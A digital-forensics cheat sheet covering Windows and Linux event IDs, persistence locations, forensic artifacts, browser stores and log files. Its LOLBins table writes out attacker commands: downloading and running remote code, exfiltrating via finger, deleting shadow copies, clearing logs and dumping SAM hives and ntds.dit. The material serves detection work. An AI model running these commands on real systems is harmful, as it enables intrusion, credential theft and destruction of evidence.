Damn Fast DFIR — Cyber Bible

by MatthySoft

The dfd Cyber Bible on paper: event IDs, artifacts, persistence, LOLBins, ports, signatures, encodings, Volatility, YARA, ATT&CK and the glossary.

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Windows Security event IDs

Log: `Security`. Modern (Vista+) IDs. Logon events (4624/4625) carry a **logon type** that identifies how the logon occurred.

ID	MEANING	INVESTIGATIVE VALUE
4624	Successful logon	Who/when/how. Check Logon Type & source IP. Type 10 = RDP, 3 = network/SMB.
4625	Failed logon	Brute force, password spray, bad creds. Sub-status codes give the reason.
4634 / 4647	Logoff / user-initiated logoff	Session end. 4647 is explicit user logoff.
4648	Logon using explicit credentials	RunAs / credential use; common in lateral movement and pass-the-hash.
4672	Special privileges assigned	Admin-equivalent logon. Pairs with 4624 to flag privileged sessions.
4688	Process creation	New process + (if enabled) full command line & parent. Core execution evidence.
4689	Process termination	Process exit; brackets a process lifetime.
4697	Service installed	Persistence / lateral movement (PsExec). Also see System log 7045.
4698 / 4699 / 4700 / 4701 / 4702	Scheduled task created/deleted/enabled/disabled/updated	Persistence & execution. 4698 = created.
4720	User account created	Attacker account creation / backdoor user.
4722 / 4725	Account enabled / disabled	Re-enabling dormant or default accounts.
4723 / 4724	Password change / reset	4724 = admin reset of another account (takeover).
4726	User account deleted	Cleanup / anti-forensics.
4728 / 4732 / 4756	Member added to global / local / universal group	4732 to *Administrators* = privilege escalation.
4738	User account changed	Attribute changes (UAC flags, never-expire passwords).
4740	Account locked out	Brute force aftermath or DoS of an account.
4741	Computer account created	Rogue machine account; relevant to some AD attacks.
4768	Kerberos TGT requested	On DCs. Failure code matters; AS-REP roasting leaves traces here.
4769	Kerberos service ticket requested	Kerberoasting (RC4 / many SPNs from one user).
4771	Kerberos pre-auth failed	Like 4625 for Kerberos; brute force on DCs.
4776	NTLM authentication	Credential validation; pass-the-hash leaves NTLM auth.
4798 / 4799	User's / group's local membership enumerated	Host recon (BloodHound, net commands).
4673 / 4674	Sensitive privilege use	Privileged operation (e.g. SeDebugPrivilege). Seen with credential theft & driver loading.
4670	Permissions on an object changed	ACL/DACL tampering — weakening a share, key, or file.
4719	System audit policy changed	Auditing altered/disabled. Anti-forensics.
4765 / 4766	SID History added / add failed	SID-History injection — stealth AD privilege & persistence.
4794	DSRM admin password set	Directory Services Restore Mode account — DC backdoor.

Windows Security event IDs (cont.)

ID	MEANING	INVESTIGATIVE VALUE
4964	Special groups assigned to logon	Configured high-value group logged on. Flags privileged sessions.
5136	Directory service object modified	AD object change (GPO, ACL, attribute). DCShadow, AdminSDHolder abuse.
5379	Credential Manager creds read	Enumerating stored credentials (Vault). Precursor to theft.
4692	Backup of data-protection master key	DPAPI master-key backup — offline credential/secret decryption.
1102	Audit log cleared	Anti-forensics. Almost always suspicious. (System-log equivalent: 104.)
1100	Event logging service shut down	Normal at shutdown; mid-session = possible log tampering.
4616	System time changed	Clock tampering; can undermine timelines.
5140 / 5145	Network share accessed / detailed file share	5145 logs per-file share access (lateral movement, ADMIN$/C$).
4656 / 4663	Handle requested / object access	Requires SACLs. File/registry access auditing.
5156	WFP permitted a connection	Host-level connection record when filtering audit is on (noisy).

System & service event IDs

Log: `System` (boot, shutdown, services). Times bracket activity and reveal persistence.

ID	MEANING	INVESTIGATIVE VALUE
7045	Service installed	New service = persistence / lateral tooling (PsExec, ransomware). Note ImagePath.
7040	Service start type changed	Disabling defenses (e.g. setting a security service to disabled).
7034	Service crashed unexpectedly	Tampering or exploitation of a service.
7035 / 7036	Service control sent / state changed	Start/stop events; pivot for tooling that toggles services.
7000	Service failed to start	Bad/missing ImagePath — a failed install or persistence attempt.
7031	Service terminated unexpectedly	Crash + recovery action. Can mark tampering with a security service.
7026	Boot-start driver failed to load	Missing/blocked driver — possible rootkit or defense change.
6005	Event log service started	Proxy for system boot time.
6006	Event log service stopped	Proxy for clean shutdown.
6008	Unexpected shutdown	Dirty shutdown / crash / power loss — possible tampering or instability.
6013	System uptime	Daily uptime stamp; helps bound boot windows.
6009	OS version logged at boot	Records OS version, build & processor at each boot.
1074	Shutdown/restart initiated	Names the user/process and reason that triggered it.
41	Kernel-Power: unexpected reboot	System rebooted without clean shutdown.
104	Event log cleared (System)	A log was cleared. Anti-forensics; pair with Security 1102.

PowerShell logging event IDs

Logs: `Windows PowerShell` and `Microsoft-Windows-PowerShell/Operational`. Script-block logging is gold for catching obfuscated attacks.

ID	MEANING	INVESTIGATIVE VALUE
4104	Script block logging	Logs the actual (de-obfuscated) script executed. Best single PowerShell artifact. Warning-level 4104 often = suspicious blocks.
4103	Module / pipeline logging	Command invocation + parameters when module logging is on.
4105 / 4106	Script start / stop	Brackets script execution.
400 / 403	Engine state start / stop	400 = a PowerShell host started; HostName reveals non-console hosts (e.g. embedded).

PowerShell logging event IDs (cont.)

ID	MEANING	INVESTIGATIVE VALUE
600	Provider lifecycle	Provider start (e.g. Registry); legacy visibility.
800	Pipeline execution details	Older pipeline detail; partial command visibility.

Also check: per-user PowerShell console history at `%AppData%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt` — survives across sessions, no logging required.

Sysmon event IDs

Log: `Microsoft-Windows-Sysmon/Operational` (only if Sysmon is deployed). The richest host telemetry on Windows.

ID	EVENT	INVESTIGATIVE VALUE
1	Process creation	Full cmdline, hashes, parent, user. Better than 4688.
2	File creation time changed	Timestomping indicator.
3	Network connection	Process → destination IP/port. C2 / exfil.
6	Driver loaded	Unsigned/odd drivers = rootkit / BYOVD.
7	Image (DLL) loaded	DLL side-loading, unsigned modules in trusted processes.
8	CreateRemoteThread	Classic code injection between processes.
9	RawAccessRead	Raw disk reads (e.g. $MFT, password DBs).
10	ProcessAccess	Handle to another process — lsass.exe access = credential dumping (Mimikatz).
11	File create	Dropped files, payloads, staged tools.
12 / 13 / 14	Registry add/delete, set value, rename	Run-key persistence, config tampering.
15	FileCreateStreamHash	ADS creation incl. Mark-of-the-Web (downloaded files).
17 / 18	Pipe created / connected	Named pipes — C2 frameworks, PsExec.
19 / 20 / 21	WMI filter / consumer / binding	WMI event-subscription persistence.
22	DNS query	Process-attributed DNS — DGA, C2 domains, exfil.
23 / 26	File delete (archived / logged)	Evidence destruction; archived copy may be recoverable.
24	Clipboard change	Clipboard capture / data theft.
25	Process tampering	Process hollowing / herpaderping.

Defender event IDs

Log: `Microsoft-Windows-Windows Defender/Operational`. Detections plus the config/state changes attackers use to blind it.

ID	MEANING	INVESTIGATIVE VALUE
1116 / 1006	Malware detected	Threat name, path, process & user. 1006 is the legacy engine ID.
1117 / 1007	Action taken	Quarantine / remove / allow — shows whether the threat was contained.
1118 / 1119	Remediation failed / critically failed	Threat may persist — treat the host as still compromised.
1009	Item restored from quarantine	Something was pulled back out of quarantine — suspicious if attacker-driven.
5001	Real-time protection disabled	Defense evasion. Correlate with the user/process responsible.
5007	Configuration changed	Defender setting changed — e.g. a path/extension **exclusion** added.
5010 / 5012	Antimalware / antivirus scanning disabled	Scanning turned off. Defense evasion.
1121 / 1122	ASR rule blocked / audited an operation	Attack-Surface-Reduction hit — names the offending process & rule.

Task Scheduler event IDs

Log: `Microsoft-Windows-TaskScheduler/Operational`. Registration & run history for scheduled tasks. (Security-log counterparts: 4698–4702.)

ID	MEANING	INVESTIGATIVE VALUE
106	Task registered	A task was created — records author & task name.
140	Task updated	An existing task was modified.
141	Task deleted	Task removed — cleanup / anti-forensics.
200 / 201	Action started / completed	The exact program/command the task ran, with result.

Task Scheduler event IDs (cont.)

ID	MEANING	INVESTIGATIVE VALUE
129	Created Task Process	Child process the task spawned (PID & command).
100 / 102	Task started / completed	Brackets one execution; confirms the trigger fired.

RDP / lateral movement trail

A single Remote Desktop session leaves a trail of related events spread across several logs.

ID	LOG	MEANING
4624 (Type 10)	Security	Successful RemoteInteractive (RDP) logon. Source IP in the event.
1149	RemoteConnectionManager/Operational	User authentication succeeded (network-level). Note: logs even before full logon.
21	LocalSessionManager/Operational	Session logon succeeded (user + source).
22	LocalSessionManager/Operational	Shell start notification (desktop loaded).
23 / 24 / 25	LocalSessionManager/Operational	Logoff / disconnect / reconnect.
4778 / 4779	Security	Session reconnected / disconnected (incl. RDP, Fast User Switching).

Outbound RDP from this host? Check `%LocalAppData%\Microsoft\Terminal Server Client\Cache` (bitmap cache) and the `Microsoft-Windows-TerminalServices-RDPClient/Operational` log (ID 1024/1102) for destinations connected *to*.

Logon types (event 4624 / 4625)

The `Logon Type` tells you how a logon happened.

TYPE	NAME	MEANS
2	Interactive	At the keyboard/console (or KVM). Physical or console session.
3	Network	Accessing this host over the network (SMB shares, IPC$). Most lateral movement.
4	Batch	Scheduled task / batch job.
5	Service	A service started by the SCM under a service account.
7	Unlock	Workstation unlocked (or screensaver dismissed).
8	NetworkCleartext	Credentials sent in clear (IIS Basic auth). Suspicious if unexpected.
9	NewCredentials	`runas /netonly`. Seen with pass-the-hash and token manipulation.
10	RemoteInteractive	RDP / Terminal Services. Source IP present.
11	CachedInteractive	Logon using cached domain credentials (DC unreachable).

Registry artifacts

Hives: `SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY` (under `%SystemRoot%\System32\config`); per-user `NTUSER.DAT` and `UsrClass.dat`. CCS = `CurrentControlSet`.

ARTIFACT	LOCATION	EVIDENCE OF
Run / RunOnce keys Persistence	`HKLM & HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run[Once]`	Autostart persistence. Also Wow6432Node for 32-bit.
Services Persistence	`HKLM\SYSTEM\CCS\Services\<name>`	Service & driver config; ImagePath, Start type, ServiceDll.
ShimCache (AppCompatCache) Execution	`HKLM\SYSTEM\CCS\Control\Session Manager\AppCompatCache`	Programs that existed / ran: path, size, last-modified. Parse with AppCompatCacheParser.
Amcache.hve Execution	`%SystemRoot%\AppCompat\Programs\Amcache.hve`	Executed/installed program metadata + **SHA-1**. AmcacheParser.
UserAssist Execution	`HKCU\...\Explorer\UserAssist\{GUID}\Count`	GUI program run count & last-run time (ROT13-encoded names).
BAM / DAM Execution	`HKLM\SYSTEM\CCS\Services\bam\State\UserSettings\<SID>`	Last execution time per executable, per user (Win10 1709+).
RunMRU User activity	`HKCU\...\Explorer\RunMRU`	Commands typed into the Run dialog.

Registry artifacts (cont.)

ARTIFACT	LOCATION	EVIDENCE OF
TypedPaths User activity	HKCU\...\Explorer\TypedPaths	Paths typed into Explorer's address bar.
RecentDocs File access	HKCU\...\Explorer\RecentDocs	Recently opened files, grouped by extension, MRU-ordered.
OpenSave / LastVisited MRU File access	HKCU\...\Explorer\ComDlg32\OpenSavePidlMRU	Files chosen in open/save dialogs; apps used to open them.
Shellbags File access	UsrClass.dat\...\Shell\BagMRU & Bags; NTUSER...\Shell	Folders the user browsed — **incl. deleted / removable / network**. SBECmd.
MUICache Execution	UsrClass.dat\...\Shell\MuiCache	Names/descriptions of executed applications.
USBSTOR USB	HKLM\SYSTEM\CCS\Enum\USBSTOR	USB mass-storage history: vendor, product, serial, first/last connect.
MountedDevices USB	HKLM\SYSTEM\MountedDevices	Maps drive letters / volumes to disk signatures & USB serials.
MountPoints2 USB	HKCU\...\Explorer\MountPoints2	Volumes & network shares mounted by that user.
NetworkList Network	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles	Networks/SSIDs joined, with first & last connection times.
Last logged-on user	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI	Last interactive user (and the lock-screen user).
TimeZoneInformation	HKLM\SYSTEM\CCS\Control\TimeZoneInformation	System timezone & bias — essential for timeline accuracy.
ComputerName	HKLM\SYSTEM\CCS\Control\ComputerName\ComputerName	Host name of the system.
ShutdownTime	HKLM\SYSTEM\CCS\Control\Windows\ShutdownTime	Last clean shutdown (FILETIME, little-endian).
Winlogon Shell / Userinit Persistence	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	Should be `explorer.exe` / `userinit.exe`. Appended values = persistence.
IFEO Debugger Persistence	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>	Debugger value hijacks a binary (e.g. sethc.exe / utilman.exe sticky-keys backdoor).
AppInit_DLLs Persistence	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows	DLLs loaded into many processes (legacy injection persistence).
SAM accounts Accounts	HKLM\SAM\SAM\Domains\Account\Users	Local accounts, RIDs, last logon, login counts. RID 500 = built-in Admin; **RID > 1000** = created accounts.

Autoruns

AutoStart Extension Points (ASEP) — the locations where code is wired to run automatically at boot, logon, or on a trigger. `CCS` = `CurrentControlSet`.

MECHANISM	LOCATION	NOTES
Run / RunOnce Logon	HKLM & HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run[Once] (+ Wow6432Node)	Most common autostart. Runs at logon (HKCU) or boot (HKLM).
Startup folder Logon	%AppData%\...\Start Menu\Programs\Startup ; %ProgramData%\...\Startup	Shortcuts/scripts launched at logon (per-user and all-users).
Winlogon Shell / Userinit Logon	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	Should be `explorer.exe` / `userinit.exe,`. Appended values = persistence.
Services & drivers Service	HKLM\SYSTEM\CCS\Services\<name>	Auto-start services/drivers. Watch ImagePath, ServiceDll, Start=2. Event 7045.
Scheduled Tasks Task	%SystemRoot%\System32\Tasks\ ; HKLM\SOFTWARE\...\Schedule\TaskCache\Tree	Triggered execution & persistence. Compare Tasks folder vs TaskCache.
WMI event subscription Fileless	root\subscription: __EventFilter + CommandLineEventConsumer + __FilterToConsumerBinding	Fileless, trigger-based persistence. Sysmon 19/20/21.

Autoruns (cont.)

MECHANISM	LOCATION	NOTES
IFEO Debugger Hijack	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>\Debugger	Hijacks a binary; classic sethc.exe / utilman.exe sticky-keys backdoor.
SilentProcessExit Hijack	HKLM\SOFTWARE\...\SilentProcessExit\<exe> (MonitorProcess)	Launches a program when the target process exits.
AppInit_DLLs Inject	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows	DLL loaded into every user32-linked process (legacy; off under Secure Boot).
COM hijacking Hijack	HKCU\Software\Classes\CLSID\{..}\InprocServer32	Per-user CLSID shadows HKLM; DLL loaded when the COM object is created.
LSA packages Creds	HKLM\SYSTEM\CCS\Control\Lsa (Security/Authentication/Notification Packages)	Malicious SSP or password-filter DLL = credential capture + persistence.
Active Setup Logon	HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{..}\StubPath	Runs once per user on first logon.
Netsh helper DLL Hijack	HKLM\SOFTWARE\Microsoft\Netsh	DLL loaded whenever `netsh` runs.
Print monitor/processor Service	HKLM\SYSTEM\CCS\Control\Print\Monitors\<x>\Driver	DLL loaded by spoolsv.exe as SYSTEM (PrintNightmare-adjacent).
BootExecute Boot	HKLM\SYSTEM\CCS\Control\Session Manager\BootExecute	Native apps run before the subsystems load. Default: `autocheck autochk *`.
AppCertDLLs Inject	HKLM\SYSTEM\CCS\Control\Session Manager\AppCertDlls	DLL loaded into every process that calls CreateProcess*.
Logon script Logon	HKCU\Environment\UserInitMprLogonScript	Per-user logon script — no Group Policy required.
Office startup Logon	%AppData%\Microsoft\Templates\Normal.dotm ; Word/Excel STARTUP ; XLL/VSTO add-ins	Macro/add-in persistence loaded when Office launches.
Screensaver Logon	HKCU\Control Panel\Desktop\SCRNSAVE.EXE	Arbitrary EXE run as the screensaver after idle.
Shell extensions Hijack	HKCR*\shellex , ...\ContextMenuHandlers	DLL loaded by explorer.exe when files/menus are rendered.
Policy Run key Logon	HKLM & HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	Group-Policy-style autostart; separate from the normal Run keys.
GPO scripts Logon	HKLM & HKCU \SOFTWARE\...\Group Policy\Scripts\{Logon,Logoff,Startup,Shutdown}	Scripts run at logon/boot via Group Policy.
Time Provider DLL Service	HKLM\SYSTEM\CCS\Services\W32Time\TimeProviders\<x>\DllName	DLL loaded by the W32Time service (runs as SYSTEM).
Winsock LSP Inject	HKLM\SYSTEM\CCS\Services\WinSock2\Parameters\Protocol_Catalog9 / NameSpace_Catalog5	Layered Service Provider DLL loaded into networked processes.
AutodialDLL Inject	HKLM\SYSTEM\CCS\Services\WinSock2\Parameters\AutodialDLL	DLL loaded on the first network connection in a process.

Windows forensic artifacts

On-disk artifacts and what they prove. Most are deep-parsed by the dfd dead-Windows collector / EZ parser.

ARTIFACT	LOCATION	EVIDENCE OF
Prefetch Execution	%SystemRoot%\Prefetch*.pf	Program executed: run count, last 8 run times, files/dirs referenced. PECmd. (Often off on servers/SSDs.)
SRUM Execution	%SystemRoot%\System32\sru\SRUDB.dat	Per-app/-user network bytes & resource use by hour (great for exfil sizing). SrumECmd.
Jump Lists File access	%AppData%\...\Recent\(Automatic|Custom)Destinations	Recently/frequently used files per application (AppID). JLECmd.
LNK (Recent) File access	%AppData%\Microsoft\Windows\Recent*.lnk	Opened files: original path, volume serial, file size, MAC times. LECmd.

Windows forensic artifacts (cont.)

ARTIFACT	LOCATION	EVIDENCE OF
$MFT Filesystem	Volume root (NTFS metafile)	Every file's metadata: $SI/$FN timestamps, size, parent, resident small files. MFTECmd.
$UsnJrnl:$J Filesystem	$Extend\$UsnJrnl:$J	File change journal: creates, deletes, renames — even if the file is gone. MFTECmd.
$LogFile Filesystem	Volume root (NTFS metafile)	NTFS transaction log; recover recent metadata operations.
Recycle Bin Deletion	$Recycle.Bin\<SID>\$I* and $R*	$I = original path/size/deletion time; $R = the deleted content. RBCmd.
Scheduled Tasks Persistence	%SystemRoot%\System32\Tasks\	Task XML: trigger, action, author. Persistence & execution.
WMI repository Persistence	%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA	Permanent WMI event-consumer persistence (fileless).
Browser history User activity	Chrome/Edge: ...\User Data\Default\History (SQLite); Firefox: places.sqlite	URLs, visit times/counts, downloads, search terms.
Thumbcache File access	%LocalAppData%\Microsoft\Windows\Explorer\thumbcache_*.db	Thumbnails of viewed images — can survive file deletion.
WER Execution	%ProgramData%\Microsoft\Windows\WER\ & %LocalAppData%\...\WER	Application crash reports: process path, modules, load address.
Event logs Logs	%SystemRoot%\System32\winevt\Logs*.evtx	See the event-ID sections above. EvtxECmd / Hayabusa.
Alternate Data Streams Evasion	file:streamname (NTFS)	Hidden data; Zone.Identifier = downloaded-file Mark-of-the-Web (origin URL).
Pagefile / hiberfile Memory	C:\pagefile.sys, C:\hiberfil.sys, swapfile.sys	RAM remnants on disk: strings, URLs, fragments. (hiberfil = hibernation memory image.)

Browser artifact paths

History, downloads, cookies, and saved creds per browser. Chromium = Chrome, Edge, Brave, Opera, Vivaldi (same layout under each vendor folder). Chromium roots: `%LocalAppData%\Google\Chrome\User Data\<Profile>` / `...\Microsoft\Edge\User Data\<Profile>`; Firefox: `%AppData%\Mozilla\Firefox\Profiles\<id>.default-release`.

ARTIFACT	PATH (UNDER PROFILE)	CONTAINS
Chromium History Chromium	<profile>\History (SQLite)	urls, visits (visit_time = WebKit epoch), downloads, keyword_search_terms.
Chromium Cookies Chromium	<profile>\Network\Cookies (SQLite)	Values AES-256-GCM encrypted; key is DPAPI-wrapped in Local State.
Chromium Login Data Chromium	<profile>\Login Data (SQLite)	Saved usernames + encrypted passwords (same key as cookies).
Chromium Web Data Chromium	<profile>\Web Data (SQLite)	Autofill form values & (encrypted) saved cards.
Chromium Bookmarks Chromium	<profile>\Bookmarks (JSON)	Bookmarks with date_added (WebKit epoch).
Top Sites / Shortcuts Chromium	<profile>\Top Sites , Shortcuts (SQLite)	Most-visited sites; text typed into the omnibox.
Sessions / Tabs Chromium	<profile>\Sessions\ , Current Session , Current Tabs	Open & recently-closed tabs (survives crash/restart).
Chromium Cache Chromium	<profile>\Cache\Cache_Data\	Cached web content; carve for fetched files/payloads.
Local State / Preferences Chromium	User Data\Local State ; <profile>\Preferences (JSON)	Settings; Local State holds the DPAPI-wrapped AES key for cookies/passwords.
Extensions Chromium	<profile>\Extensions\ , Secure Preferences	Installed extensions — check for malicious/sideloaded add-ons.
Firefox places.sqlite Firefox	<FF profile>\places.sqlite	History (moz_places/moz_historyvisits), bookmarks, downloads. PRTime (us since 1970).
Firefox cookies.sqlite Firefox	<FF profile>\cookies.sqlite	Cookies (moz_cookies).

Browser artifact paths (cont.)

ARTIFACT	PATH (UNDER PROFILE)	CONTAINS
Firefox formhistory.sqlite Firefox	<FF profile>\formhistory.sqlite	Saved form-field entries.
Firefox logins.json + key4.db Firefox	<FF profile>\logins.json , key4.db	Saved credentials; key4.db (NSS) holds the decryption key.
Firefox sessionstore Firefox	<FF profile>\sessionstore.jsonlz4 , sessionstore-backups\	Open tabs/windows (mozLz4-compressed JSON).
IE / legacy Edge WebCache IE/Edge	%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat (ESE)	History, cookies, DOM store, download history for IE10+ & Spartan Edge. Parse with ESEDatabaseView.
IE history (legacy) IE/Edge	...\History\History.IE5\index.dat	Pre-IE10 browsing history.

Timestamps & tools: Chromium = microseconds since 1601 (WebKit); Firefox visits = microseconds since 1970 (PRTime) — see **Timestamp formats**. Parse with Hindsight (Chromium), DB Browser for SQLite, BrowsingHistoryView, or KAPE `!BrowsingHistory`. Files are locked while the browser runs — copy from an image or shadow copy.

LOLBins (living off the land)

Signed, built-in Windows binaries abused to download, execute, or bypass controls so activity blends with the OS. They surface in 4688 / Sysmon 1 / PowerShell telemetry, where odd arguments or parents are the tell. (Reference: the LOLBAS project.)

BINARY	ABUSED TO	EXAMPLE / NOTE
certutil.exe	Download & decode	certutil -urlcache -f http://x/a.exe a.exe ; certutil -decode in out
bitsadmin.exe	Download / persist	bitsadmin /transfer j http://x/a a ; BITS jobs survive reboot
mshta.exe	Run HTA / scriptlet	mshta http://x/a.hta ; mshta vbscript:Close(...)
rundll32.exe	Run DLL export / script	rundll32 evil.dll,Entry ; rundll32 javascript:"..."
regsvr32.exe	Squiblydoo / remote .sct	regsvr32 /s /n /u /i:http://x/a.sct scrobj.dll
powershell.exe	Download / exec, encoded	powershell -nop -w hidden -enc <base64> ; IEX(New-Object Net.WebClient).DownloadString()
wmic.exe	Exec local/remote	wmic process call create "..." ; wmic /node:host process call create
wscript / cscript	Run VBScript / JScript	wscript x.vbs ; cscript //e:jscript x.js
msbuild.exe	Compile & run inline C#	msbuild evil.csproj (inline task; AWL bypass)
installutil.exe	Run via /U (uninstall)	installutil /logfile= /U evil.dll
regasm / regsvcs	Run via (un)register	like installutil; .NET assembly
mavinject.exe	DLL injection	mavinject <pid> /injectrunning evil.dll
msdt.exe	Follina (CVE-2022-30190)	invoked from Office to run commands
esentutl.exe	Copy locked files	esentutl /y /vss C:\...\ntds.dit /d out
vssadmin.exe	Delete shadow copies	vssadmin delete shadows /all /quiet
wbadmin.exe	Delete backups	wbadmin delete catalog -quiet
bcdedit.exe	Disable recovery	bcdedit /set {default} recoveryenabled no
wevtutil.exe	Clear event logs	wevtutil cl Security
reg.exe	Dump registry hives	reg save HKLM\SAM sam.hiv ; reg save HKLM\SYSTEM sys.hiv
ntdsutil.exe	Dump AD database	ntdsutil "ac i ntds" ifm "create full c:\x" q q
nltest.exe	Domain recon	nltest /domain_trusts ; /dclist:domain
finger.exe	Download / exfil	finger user@attacker (pull/push data)
curl.exe	Download	curl -o a http://x/a (native, Win10 1803+)
cmstp.exe	Run INF / UAC bypass	cmstp /ni /s evil.inf

LOLBins (living off the land) (cont.)

BINARY	ABUSED TO	EXAMPLE / NOTE
odbcconf.exe	Run DLL / .rsp	odbcconf /a {REGSVR evil.dll}
hh.exe	Run CHM / HTA	hh.exe http://x/a.chm (compiled help)
pcalua.exe	Proxy execution	pcalua -a calc.exe (compat-assistant launcher)
extrac32.exe	Extract / copy files	extrac32 /Y src.cab out ; also raw file copy
ie4uinit.exe	Run .inf commands	ie4uinit -BaseSettings (abuses IEUinit.inf)

Core Windows process baseline

The normal baseline for core system processes. Deviations in **parent**, **path**, **user**, **count**, or **spelling** are red flags. Paths are under `%SystemRoot%\System32` unless noted.

PROCESS	EXPECTED PARENT	NORMAL BEHAVIOUR
System (PID 4)	—	Single instance, PID 4. Hosts kernel threads. No image path.
smss.exe	System (4)	Session Manager. One master (children self-exit). Spawns csrss + wininit/winlogon.
csrss.exe	(created by smss)	One per session (so 2+). Parent appears blank because smss exits.
wininit.exe	(smss)	Single instance. Parents services.exe, lsass.exe.
services.exe	wininit.exe	Single instance. Parent of svchost, spoolsv, most services.
lsass.exe	wininit.exe	**Exactly one.** Never has children. Top credential-theft target — any lsass.exe with children or a wrong path is highly suspicious.
svchost.exe	services.exe	Many instances, **always** with a `-k <group>` argument. User: SYSTEM / LOCAL SERVICE / NETWORK SERVICE. svchost without `-k`, or parented elsewhere, is malware.
winlogon.exe	(smss)	One per interactive session. Loads userinit → explorer.
explorer.exe	(userinit, exits)	One per logged-on user. Runs from `%SystemRoot%` (*not* System32). Parent appears blank.
taskhostw.exe	svchost.exe	Generic host for tasks/DLLs. Normal, but inspect command line.
RuntimeBroker.exe	svchost.exe	Brokers permissions for UWP apps. Normal in user sessions.

Quick red flags: a core process running from `\Temp`, `\AppData`, or a user folder; misspelled names (`scvhost`, `lsasss`, `csrss` with extra letters); wrong parent; `lsass` / `services` with more than one instance; unexpected child processes (e.g. `winword.exe → cmd.exe → powershell.exe`).

Linux artifacts & persistence

Identity, execution, and the usual persistence hiding spots.

ARTIFACT	LOCATION	EVIDENCE OF
Accounts Accounts	/etc/passwd, /etc/shadow, /etc/group	Users & UIDs. **UID 0** on a non-root account = backdoor. shadow = password hashes.
Sudo config Accounts	/etc/sudoers, /etc/sudoers.d/*	Who can sudo. NOPASSWD entries & odd additions = privilege escalation.
Cron Persistence	/etc/crontab, /etc/cron.*, /var/spool/cron/crontabs/*, /etc/cron.d/*	Scheduled-job persistence. Check per-user crontabs too.
systemd units Persistence	/etc/systemd/system, /lib/systemd/system, ~/.config/systemd/user	Service & timer persistence. Inspect ExecStart and recently modified units.
Init scripts Persistence	/etc/rc.local, /etc/init.d/	Legacy startup execution.
Shell rc files Persistence	~/.bashrc, ~/.bash_profile, /etc/profile, /etc/bash.bashrc, ~/.profile	Commands run at shell start; aliases hijacking common commands.
Shell history User activity	~/.bash_history, ~/.zsh_history, ~/.python_history	Commands run by each user. No timestamps unless HISTTIMEFORMAT set.
SSH keys Lateral	~/.ssh/authorized_keys, known_hosts, id_*; /etc/ssh/sshd_config	Added authorized_keys = backdoor access. known_hosts = where this host SSH'd *to*.

Linux artifacts & persistence (cont.)

ARTIFACT	LOCATION	EVIDENCE OF
LD preload Persistence	/etc/ld.so.preload, LD_PRELOAD env	Userland rootkit / function hooking. Rarely legitimately populated.
Kernel modules Persistence	/etc/modules, /etc/modprobe.d/, lsmod	Loadable modules; LKM rootkits.
at jobs Persistence	/var/spool/at, /var/spool/cron/atjobs	One-shot scheduled execution.
MOTD scripts Persistence	/etc/update-motd.d/	Scripts executed on login banner generation.
SUID/SGID binaries PrivEsc	find / -perm -4000 -o -perm -2000	Unexpected SUID = privilege-escalation path (e.g. SUID bash/cp).
Staging dirs Execution	/tmp, /var/tmp, /dev/shm	Common malware drop/exec locations (esp. world-writable + executable).
Web roots Persistence	/var/www, /srv/www, app docroots	Web shells; correlate with web-server access logs.

Linux log files

Under `/var/log`. Binary logs (wtmp/btmp/lastlog) need their reader tools; journald needs `journalctl`.

LOG	PATH / READER	CONTAINS
auth / secure	/var/log/auth.log (Debian) · /var/log/secure (RHEL)	Authentication, sudo, SSH logins/failures, su.
wtmp	/var/log/wtmp — last	Successful logins/logouts & boots (with source).
btmp	/var/log/btmp — lastb	Failed login attempts (brute force).
lastlog	/var/log/lastlog — lastlog	Most recent login per user.
utmp	/var/run/utmp — who, w	Currently logged-in users (volatile).
syslog / messages	/var/log/syslog · /var/log/messages	General system & service messages.
kern.log	/var/log/kern.log — dmesg	Kernel messages: drivers, USB, OOM, modules.
journald	/var/log/journal/ — journalctl	Unified binary log (systemd). `journalctl --utc -o short-iso`.
auditd	/var/log/audit/audit.log — ausearch	Kernel audit framework: syscalls, file/exec rules (if configured).
Package logs	/var/log/dpkg.log · apt/history.log · yum.log	What was installed/removed and when.
Web server	/var/log/apache2/, /var/log/nginx/	access/error logs: web-shell hits, scanning, exploitation.

HTTP status codes

1xx informational · 2xx success · 3xx redirect · 4xx client error · 5xx server error.

CODE	MEANING	NOTES
100	Continue	Client may send the request body.
101	Switching Protocols	Upgrade, e.g. to WebSocket.
200	OK	Standard success.
201	Created	Resource created (POST/PUT).
202	Accepted	Queued, not yet processed.
204	No Content	Success, empty body.
206	Partial Content	Range request — resumed/segmented downloads, sometimes exfil.
301	Moved Permanently	Permanent redirect.
302	Found	Temporary redirect (often used by phishing/C2 chains).
303	See Other	Redirect via GET.
304	Not Modified	Cached copy still valid.
307 / 308	Temporary / Permanent Redirect	Method-preserving redirects.
400	Bad Request	Malformed request; common in exploit/scan traffic.
401	Unauthorized	Authentication required/failed. Bursts = brute force.
403	Forbidden	Authenticated but not allowed; or WAF block.
404	Not Found	Many 404s from one host = directory/vuln scanning.
405	Method Not Allowed	Verb not supported (probing).
407	Proxy Auth Required	Proxy credentials needed.
408	Request Timeout	Client too slow.

HTTP status codes (cont.)

CODE	MEANING	NOTES
409	Conflict	State conflict (e.g. edit collision).
410	Gone	Resource intentionally removed.
413	Payload Too Large	Body exceeds limit (large uploads/exfil).
414	URI Too Long	Often buffer-overflow / injection attempts.
415	Unsupported Media Type	Content-Type rejected.
416	Range Not Satisfiable	Bad Range header.
418	I'm a Teapot	Joke code (RFC 2324); sometimes a honeypot/decoy.
429	Too Many Requests	Rate-limited — brute force / scraping.
500	Internal Server Error	App crash; spikes can indicate exploitation attempts.
